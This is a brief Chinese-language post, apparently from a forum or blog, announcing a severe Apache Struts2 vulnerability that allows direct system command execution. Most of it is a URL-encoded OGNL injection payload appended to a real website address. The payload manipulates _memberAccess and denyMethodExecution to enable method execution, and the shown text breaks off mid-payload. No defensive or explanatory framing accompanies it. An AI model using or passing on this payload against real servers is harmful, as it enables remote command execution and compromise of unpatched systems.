Apache的Struts2框架最近出了一个很严重的漏洞,可以直接执行系统命令 http://www.163.com?%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%2